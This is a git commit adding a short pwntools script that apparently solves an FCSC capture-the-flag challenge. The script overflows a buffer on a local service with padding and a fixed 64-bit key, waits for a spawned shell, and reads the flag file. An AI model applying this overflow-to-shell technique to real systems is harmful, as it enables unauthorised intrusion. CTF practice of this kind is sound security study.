added all ctfs

This commit is contained in:
2023-12-25 07:06:20 +01:00
commit 9ea8ecac74
37 changed files with 640 additions and 0 deletions

View File

@@ -0,0 +1,11 @@
from pwn import remote, log, p64, time
with remote("localhost", 4000, fam="ipv4") as p:
key = 0x1122334455667788
payload = b"\x00" * 0x28 + p64(key)
log.info(f"Sending payload {payload} | len: {hex(len(payload))}")
p.sendline(payload)
# wait for system to spawn a shell
time.sleep(0.1)
p.sendline(b"cat flag.txt")
log.info(p.recvregex(b"FCSC\{[0-9a-fA-F]{64}\}"))